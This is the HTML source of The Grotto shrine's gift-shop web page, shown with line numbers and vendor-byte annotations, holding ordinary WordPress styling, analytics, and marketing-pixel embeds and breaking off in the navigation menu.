1<!doctype html> 2<html lang="en-US"> 3<head> 4 <meta charset="UTF-8"> 5 <meta name="viewport" content="width=device-width, initial-scale=1"> 6 <link rel="profile" href="https://gmpg.org/xfn/11"> 7 <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> 8 9 <!-- This site is optimized with the Yoast SEO plugin v26.4 - https://yoast.com/wordpress/plugins/seo/ --> 10 <title>Shop - The National Sanctuary of Our Sorrowful Mother, The Grotto</title> 11 <link rel="canonical" href="https://thegrotto.org/shop/" /> 12 <meta property="og:locale" content="en_US" /> 13 <meta property="og:type" content="article" /> 14 <meta property="og:title" content="Shop - The National Sanctuary of Our Sorrowful Mother, The Grotto" /> 15 <meta property="og:description" content="The Grotto Gift Shop Set among towering pines and native shrubs, the Grotto Gift Shop greets visitors entering from the main parking lot. The proceeds of the Gift Shop help […]" /> 16 <meta property="og:url" content="https://thegrotto.org/shop/" /> 17 <meta property="og:site_name" content="The National Sanctuary of Our Sorrowful Mother, The Grotto" /> 18 <meta property="article:modified_time" content="2026-09-08T00:33:43+00:00" /> 19 <meta name="twitter:card" content="summary_large_image" /> 20 <meta name="twitter:label1" content="Est. reading time" /> 21 <meta name="twitter:data1" content="1 minute" /> 22
22<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://thegrotto.org/shop/","url":"https://thegrotto.org/shop/","name":"Shop - The National Sanctuary of Our Sorrowful Mother, The Grotto","isPartOf":{"@id":"https://thegrotto.org/#website"},"datePublished":"2025-09-04T03:02:01+00:00","dateModified":"2026-09-08T00:33:43+00:00","breadcrumb":{"@id":"https://thegrotto.org/shop/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://thegrotto.org/shop/"]}]},{"@type":"BreadcrumbList","@id":"https://thegrotto.org/shop/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://thegrotto.org/"},{"@type":"ListItem","position":2,"name":"Shop"}]},{"@type":"WebSite","@id":"https://thegrotto.org/#website","url":"https://thegrotto.org/","name":"The National Sanctuary of Our Sorrowful Mother, The Grotto","description":"The Grotto is a internationally-renowned Catholic shrine and botanical garden located minutes from downtown Portland, serving over 300,000 visitors annually.","publisher":{"@id":"https://thegrotto.org/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://thegrotto.org/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://thegrotto.org/#organization","name":"The National Sanctuary of Our Sorrowful Mother, The Grotto","url":"https://thegrotto.org/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://thegrotto.org/#/schema/logo/image/","url":"https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png","contentUrl":"https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png","width":2560,"height":415,"caption":"The National Sanctuary of Our Sorrowful Mother, The Grotto"},"image":{"@id":"https://thegrotto.org/#/schema/logo/image/"}}]}</script>
22 23 <!-- / Yoast SEO plugin. --> 24 25 26<link rel="alternate" type="application/rss+xml" title="The National Sanctuary of Our Sorrowful Mother, The Grotto » Feed" href="https://thegrotto.org/feed/" /> 27<link rel="alternate" type="application/rss+xml" title="The National Sanctuary of Our Sorrowful Mother, The Grotto » Comments Feed" href="https://thegrotto.org/comments/feed/" /> 28<link rel="alternate" type="text/calendar" title="The National Sanctuary of Our Sorrowful Mother, The Grotto » iCal Feed" href="https://thegrotto.org/events/?ical=1" /> 29<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://thegrotto.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fthegrotto.org%2Fshop%2F" /> 30<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://thegrotto.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fthegrotto.org%2Fshop%2F&format=xml" /> 31<style id="wp-img-auto-sizes-contain-inline-css"> 32img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px} 33/*# sourceURL=wp-img-auto-sizes-contain-inline-css */ 34</style> 35<link rel='stylesheet' id='genesis-blocks-style-css-css' href='https://thegrotto.org/wp-content/plugins/genesis-blocks/dist/style-blocks.build.css?ver=1773253670' media='all' /> 36<link rel='stylesheet' id='tribe-events-pro-mini-calendar-block-styles-css' href='https://thegrotto.org/wp-content/plugins/events-calendar-pro/build/css/tribe-events-pro-mini-calendar-block.css?ver=7.7.14' media='all' /> 37<link rel='stylesheet' id='tec-variables-skeleton-css' href='https://thegrotto.org/wp-content/plugins/the-events-calendar/common/build/css/variables-skeleton.css?ver=6.10.2' media='all' /> 38<link rel='stylesheet' id='tec-variables-full-css' href='https://thegrotto.org/wp-content/plugins/the-events-calendar/common/build/css/variables-full.css?ver=6.10.2' media='all' /> 39<link rel='stylesheet' id='tribe-events-v2-virtual-single-block-css' href='https://thegrotto.org/wp-content/plugins/events-calendar-pro/build/css/events-virtual-single-block.css?ver=7.7.14' media='all' /> 40<style id="wp-emoji-styles-inline-css"> 41 42 img.wp-smiley, img.emoji { 43 display: inline !important; 44 border: none !important; 45 box-shadow: none !important; 46 height: 1em !important; 47 width: 1em !important; 48 margin: 0 0.07em !important; 49 vertical-align: -0.1em !important; 50 background: none !important; 51 padding: 0 !important; 52 } 53/*# sourceURL=wp-emoji-styles-inline-css */ 54</style> 55<style id="global-styles-inline-css"> 56:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
56--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}:root { --wp--style--global--content-size: 800px;--wp--style--global--wide-size: 1200px; }:where(body) { margin: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.wp-site-blocks) > * { margin-block-start: 24px; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child { margin-block-end: 0; }:root { --wp--style--block-gap: 24px; }:root :where(.is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.is-layout-flow) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.is-layout-constrained) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-flex){gap: 24px;}:root :where(.is-layout-grid){gap: 24px;}.is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
56.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;} 57:root :where(.wp-block-icon svg){width: 24px;} 58:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;} 59/*# sourceURL=global-styles-inline-css */ 60</style> 61<link rel='stylesheet' id='tribe-events-v2-single-skeleton-css' href='https://thegrotto.org/wp-content/plugins/the-events-calendar/build/css/tribe-events-single-skeleton.css?ver=6.15.17.1' media='all' /> 62<link rel='stylesheet' id='tribe-events-v2-single-skeleton-full-css' href='https://thegrotto.org/wp-content/plugins/the-events-calendar/build/css/tribe-events-single-full.css?ver=6.15.17.1' media='all' /> 63<link rel='stylesheet' id='tec-events-elementor-widgets-base-styles-css' href='https://thegrotto.org/wp-content/plugins/the-events-calendar/build/css/integrations/plugins/elementor/widgets/widget-base.css?ver=6.15.17.1' media='all' /> 64<link rel='stylesheet' id='hello-elementor-css' href='https://thegrotto.org/wp-content/themes/hello-elementor/assets/css/reset.css?ver=3.4.4' media='all' /> 65<link rel='stylesheet' id='hello-elementor-theme-style-css' href='https://thegrotto.org/wp-content/themes/hello-elementor/assets/css/theme.css?ver=3.4.4' media='all' /> 66<link rel='stylesheet' id='hello-elementor-header-footer-css' href='https://thegrotto.org/wp-content/themes/hello-elementor/assets/css/header-footer.css?ver=3.4.4' media='all' /> 67<link rel='stylesheet' id='elementor-frontend-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.35.7' media='all' /> 68<link rel='stylesheet' id='elementor-post-8-css' href='https://thegrotto.org/wp-content/uploads/elementor/css/post-8.css?ver=1773253796' media='all' /> 69<link rel='stylesheet' id='widget-image-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/widget-image.min.css?ver=3.35.7' media='all' /> 70<link rel='stylesheet' id='widget-search-css' href='https://thegrotto.org/wp-content/plugins/elementor-pro/assets/css/widget-search.min.css?ver=3.32.2' media='all' /> 71<link rel='stylesheet' id='widget-nav-menu-css' href='https://thegrotto.org/wp-content/plugins/elementor-pro/assets/css/widget-nav-menu.min.css?ver=3.32.2' media='all' /> 72<link rel='stylesheet' id='widget-divider-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/widget-divider.min.css?ver=3.35.7' media='all' /> 73<link rel='stylesheet' id='widget-heading-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/widget-heading.min.css?ver=3.35.7' media='all' /> 74<link rel='stylesheet' id='widget-social-icons-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/widget-social-icons.min.css?ver=3.35.7' media='all' /> 75<link rel='stylesheet' id='e-apple-webkit-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/conditionals/apple-webkit.min.css?ver=3.35.7' media='all' /> 76<link rel='stylesheet' id='e-animation-fadeInLeft-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/lib/animations/styles/fadeInLeft.min.css?ver=3.35.7' media='all' /> 77<link rel='stylesheet' id='e-animation-fadeIn-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/lib/animations/styles/fadeIn.min.css?ver=3.35.7' media='all' /> 78<link rel='stylesheet' id='elementor-post-75-css' href='https://thegrotto.org/wp-content/uploads/elementor/css/post-75.css?ver=1788828102' media='all' /> 79<link rel='stylesheet' id='elementor-post-39-css' href='https://thegrotto.org/wp-content/uploads/elementor/css/post-39.css?ver=1773253796' media='all' /> 80<link rel='stylesheet' id='elementor-post-50-css' href='https://thegrotto.org/wp-content/uploads/elementor/css/post-50.css?ver=1788827789' media='all' /> 81<link rel='stylesheet' id='tablepress-default-css' href='https://thegrotto.org/wp-content/tablepress-combined.min.css?ver=11' media='all' /> 82<link rel='stylesheet' id='elementor-gf-local-marcellus-css' href='https://thegrotto.org/wp-content/uploads/elementor/google-fonts/css/marcellus.css?ver=1756870117' media='all' /> 83<link rel='stylesheet' id='elementor-gf-local-robotoslab-css' href='https://thegrotto.org/wp-content/uploads/elementor/google-fonts/css/robotoslab.css?ver=1756488212' media='all' /> 84<link rel='stylesheet' id='elementor-gf-local-inter-css' href='https://thegrotto.org/wp-content/uploads/elementor/google-fonts/css/inter.css?ver=1756870140' media='all' /> 85<link rel='stylesheet' id='elementor-gf-local-roboto-css' href='https://thegrotto.org/wp-content/uploads/elementor/google-fonts/css/roboto.css?ver=1756486701' media='all' /> 86<link rel='stylesheet' id='elementor-gf-local-marcellussc-css' href='https://thegrotto.org/wp-content/uploads/elementor/google-fonts/css/marcellussc.css?ver=1756911266' media='all' />
87<script id="jquery-core-js" src="https://thegrotto.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
vendor: 1 bytes, line 87
87
88<script id="jquery-migrate-js" src="https://thegrotto.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
88 89<link rel="https://api.w.org/" href="https://thegrotto.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://thegrotto.org/wp-json/wp/v2/pages/75" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://thegrotto.org/xmlrpc.php?rsd" /> 90<link rel='shortlink' href='https://thegrotto.org/?p=75' /> 91<meta name="tec-api-version" content="v1"><meta name="tec-api-origin" content="https://thegrotto.org"><link rel="alternate" href="https://thegrotto.org/wp-json/tribe/events/v1/" /><meta name="generator" content="Elementor 3.35.7; features: e_font_icon_svg, additional_custom_breakpoints; settings: css_print_method-external, google_font-enabled, font_display-swap"> 92<!-- Begin Constant Contact Active Forms -->
93<script> var _ctct_m = "47480c16baa43faeb57cfab017aa986d"; </script>
vendor: 2 bytes, line 93
93
94<script id="signupScript" src="//static.ctctcdn.com/js/signup-form-widget/current/signup-form-widget.min.js" async defer></script>
94 95<!-- End Constant Contact Active Forms --> 96<!-- Google tag (gtag.js) -->
vendor: 65 bytes, lines 96-97
96 97<script async src="https://www.googletagmanager.com/gtag/js?id=
97G-LT41Z3HXQ3
vendor: 13 bytes, line 97
97"></script>
98<script> 99
vendor: 136 bytes, lines 99-102
99window.dataLayer = window.dataLayer || []; 100 function gtag(){dataLayer.push(arguments);} 101 gtag('js', new Date()); 102 gtag('config', '
102G-LT41Z3HXQ3
vendor: 5 bytes, line 102
102');
103</script>
103 104 105<!-- Meta Pixel Code -->
106<script>
vendor: 408 bytes, lines 106-115
106 107!function(f,b,e,v,n,t,s) 108{if(f.fbq)return;n=f.fbq=function(){n.callMethod? 109n.callMethod.apply(n,arguments):n.queue.push(arguments)}; 110if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0'; 111n.queue=[];t=b.createElement(e);t.async=!0; 112t.src=v;s=b.getElementsByTagName(e)[0]; 113s.parentNode.insertBefore(t,s)}(window, document,'script', 114'https://connect.facebook.net/en_US/fbevents.js'); 115fbq('init', '
1151478262859905867
vendor: 32 bytes, lines 115-116
115'); 116fbq('track', 'PageView');
117</script>
117 118<noscript><img height="1" width="1" style="display:none" 119src=https://www.facebook.com/tr?id=1478262859905867&ev=PageView&noscript=1 120/></noscript> 121<!-- End Meta Pixel Code --> 122 <style> 123 .e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload), 124 .e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload) * { 125 background-image: none !important; 126 } 127 @media screen and (max-height: 1024px) { 128 .e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload), 129 .e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload) * { 130 background-image: none !important; 131 } 132 } 133 @media screen and (max-height: 640px) { 134 .e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload), 135 .e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload) * { 136 background-image: none !important; 137 } 138 } 139 </style> 140 <link rel="icon" href="https://thegrotto.org/wp-content/uploads/2025/10/The-Grotto-Favicon_Oct-2025.png" sizes="32x32" /> 141<link rel="icon" href="https://thegrotto.org/wp-content/uploads/2025/10/The-Grotto-Favicon_Oct-2025.png" sizes="192x192" /> 142<link rel="apple-touch-icon" href="https://thegrotto.org/wp-content/uploads/2025/10/The-Grotto-Favicon_Oct-2025.png" /> 143<meta name="msapplication-TileImage" content="https://thegrotto.org/wp-content/uploads/2025/10/The-Grotto-Favicon_Oct-2025.png" /> 144</head> 145<body class="wp-singular page-template-default page page-id-75 wp-custom-logo wp-embed-responsive wp-theme-hello-elementor tribe-no-js hello-elementor-default elementor-default elementor-kit-8 elementor-page elementor-page-75"> 146 147 148<a class="skip-link screen-reader-text" href="#content">Skip to content</a> 149 150 <header data-elementor-type="header" data-elementor-id="39" class="elementor elementor-39 elementor-location-header" data-elementor-post-type="elementor_library"> 151 <div class="elementor-element elementor-element-eecb96a elementor-hidden-mobile e-flex e-con-boxed e-con e-parent" data-id="eecb96a" data-element_type="container" data-e-type="container"> 152 <div class="e-con-inner"> 153 <div class="elementor-element elementor-element-6b01941 e-con-full e-flex e-con e-child" data-id="6b01941" data-element_type="container" data-e-type="container"> 154 <div class="elementor-element elementor-element-70aefd4 elementor-widget-mobile__width-initial elementor-widget elementor-widget-theme-site-logo elementor-widget-image" data-id="70aefd4" data-element_type="widget" data-e-type="widget" data-widget_type="theme-site-logo.default"> 155 <a href="https://thegrotto.org"> 156 <img width="2560" height="415" src="https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png" class="attachment-full size-full wp-image-399" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png 2560w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-300x49.png 300w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-1024x166.png 1024w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-768x125.png 768w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-1536x249.png 1536w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-2048x332.png 2048w" sizes="(max-width: 2560px) 100v
156w, 2560px" /> </a> 157 </div> 158 <div class="elementor-element elementor-element-2bf955e elementor-widget elementor-widget-shortcode" data-id="2bf955e" data-element_type="widget" data-e-type="widget" data-widget_type="shortcode.default"> 159 <div class="elementor-shortcode"><div class="gtranslate_wrapper" id="gt-wrapper-12966977"></div></div> 160 </div> 161 </div> 162 <div class="elementor-element elementor-element-949cd22 e-con-full e-flex e-con e-child" data-id="949cd22" data-element_type="container" data-e-type="container"> 163 <div class="elementor-element elementor-element-a4353a8 elementor-widget elementor-widget-search" data-id="a4353a8" data-element_type="widget" data-e-type="widget" data-settings="{"submit_trigger":"click_submit","pagination_type_options":"none"}" data-widget_type="search.default"> 164 <search class="e-search hidden" role="search"> 165 <form class="e-search-form" action="https://thegrotto.org" method="get"> 166 167 168 <label class="e-search-label" for="search-a4353a8"> 169 <span class="elementor-screen-only"> 170 Search </span> 171 </label> 172 173 <div class="e-search-input-wrapper"> 174 <input id="search-a4353a8" placeholder="" class="e-search-input" type="search" name="s" value="" autocomplete="on" role="combobox" aria-autocomplete="list" aria-expanded="false" aria-controls="results-a4353a8" aria-haspopup="listbox"> 175 <svg aria-hidden="true" class="e-font-icon-svg e-fas-times" viewBox="0 0 352 512" xmlns="http://www.w3.org/2000/svg"><path d="M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z"></path></svg> <output id="results-a4353a8" class="e-search-results-container hide-loader" aria-live="polite" aria-atomic="true" aria-label="Results for search" tabindex="0"> 176 <div class="e-search-results"></div> 177 </output> 178 </div> 179 180 181 <button class="e-search-submit " type="submit"> 182 183 <span class=""> 184 Search </span> 185 </button> 186 <input type="hidden" name="e_search_props" value="a4353a8-39"> 187 </form> 188 </search> 189 </div> 190 <div class="elementor-element elementor-element-4073e96 elementor-nav-menu__align-end elementor-nav-menu--dropdown-mobile elementor-nav-menu__text-align-aside elementor-nav-menu--toggle elementor-nav-menu--burger elementor-widget elementor-widget-nav-menu" data-id="4073e96" data-element_type="widget" data-e-type="widget" data-settings="{"submenu_icon":{"value":"<i aria-hidden=\"true\" class=\"\"><\/i>","library":""},"layout":"horizontal","toggle":"burger"}" data-widget_type="nav-menu.default"> 191 <nav aria-label="Menu" class="elementor-nav-menu--main elementor-nav-menu__container elementor-nav-menu--layout-horizontal e--pointer-underline e--animation-fade"> 192 <ul id="menu-1-4073e96" class="elementor-nav-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-83"><a href="https://thegrotto.org/visit/" class="elementor-item">Visit</a> 193<ul class="sub-menu elementor-nav-menu--dropdown"> 194 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-94"><a href="https://thegrotto.org/visit/hours-admission/" class="elementor-sub-item">Hours & Admission</a></li> 195 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-320"><a href="https://thegrotto.org/visit/gardens/" class="elementor-sub-item">Gardens & Grounds</a></li> 196 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-226"><a href="https://thegrotto.org/visit/annual-garden-pass/" class="elementor-sub-item">
